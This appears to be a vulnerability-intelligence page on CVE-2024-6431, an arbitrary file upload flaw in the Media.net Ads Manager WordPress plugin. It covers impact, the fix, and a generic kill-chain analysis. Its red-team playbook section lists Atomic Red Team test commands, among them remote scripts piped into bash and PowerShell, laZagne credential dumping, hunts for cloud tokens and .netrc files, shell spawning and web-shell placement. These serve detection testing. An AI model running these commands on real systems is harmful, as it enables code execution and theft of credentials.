CVE-2024-6431
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types and absence of capability checks within the 'sendMail' function of the Media.net Ads Manager WordPress plugin. The affected component is the AJAX handler responsible for processing file uploads, specifically in versions up to and including 2.10.13. The root cause lies in the failure to enforce proper authorization and input sanitization in the plugin's backend code, allowing unauthorized file submission through the API interface.
Vulnerability Description
The Media.net Ads Manager plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation and missing capability check in the 'sendMail' function in all versions up to, and including, 2.10.13. This makes it possible for authenticated attackers, with subscriber-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible. The vulnerability is only exploitable if anyone has ever logged in through the API.
Impact
An authenticated attacker with subscriber-level or higher permissions who has logged in through the API can upload arbitrary files to the server, potentially leading to remote code execution. This enables unauthorized code execution on the affected site, risking data compromise, site defacement, or full server takeover. The attack requires network access and valid user credentials but no user interaction beyond authentication. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates low attack complexity, no user interaction, and high impact on confidentiality, integrity, and availability.
Solution
Upgrade the Media.net Ads Manager plugin to a version later than 2.10.13 where the vulnerability is patched. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/54fac673-2d83-4d06-a4c0-8bffc269a90c) for detailed patch instructions. The fix involves adding proper capability checks and file type validation in the 'sendMail' function within 'MnetAdHandleAjaxCalls.php'. No official workaround is documented; immediate upgrade is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Media.net Ads Manager plugin for WordPress exhibits a critical vulnerability stemming from inadequate file type validation and a lack of capability checks within its 'sendMail' function. This flaw allows authenticated users, even those with minimal permissions such as subscribers, to upload arbitrary files to the server hosting the affected site. The absence of stringent checks means that malicious actors can exploit this vulnerability to upload potentially harmful files, including web shells or other executable scripts, leading to remote code execution. The risk is exacerbated by the fact that the vulnerability is only exploitable if an attacker has previously authenticated through the API, which may increase the likelihood of targeted attacks against sites with weak authentication practices.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage the compromised functionality to upload malicious files directly to the server. For instance, an attacker could craft a request that bypasses the file type validation, allowing them to upload a PHP script disguised as an image or other benign file type. Once the malicious file is on the server, the attacker can execute it, gaining control over the affected site and potentially the underlying server. This scenario highlights the importance of robust authentication and access control measures, as even low-level permissions can lead to significant security breaches if not properly managed.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on the integrity and availability of their web presence. Successful exploitation could lead to unauthorized access to sensitive data, defacement of the website, or the deployment of malware that could compromise users visiting the site. The potential for remote code execution means that attackers could not only manipulate the affected site but also pivot to other systems within the network, increasing the overall risk to the organization. The business ramifications could include loss of customer trust, financial repercussions from data breaches, and potential legal liabilities stemming from non-compliance with data protection regulations.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Media.net Ads Manager plugin and other WordPress components is crucial, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests before they reach the server. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Furthermore, enforcing strict user permissions and ensuring that only trusted users have access to sensitive functionalities can significantly reduce the attack surface.
In conclusion, the vulnerability within the Media.net Ads Manager plugin underscores the critical need for robust security practices in web applications. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Implementing effective detection and mitigation strategies will not only protect the integrity of their web applications but also safeguard their business interests in an increasingly hostile digital landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6431 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/54fac673-2d83-4d06-a4c0-8bffc269a90c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/media-net-ads-manager/tags/2.10.13/app/admin/MnetAdHandleAjaxCalls.php#L206 |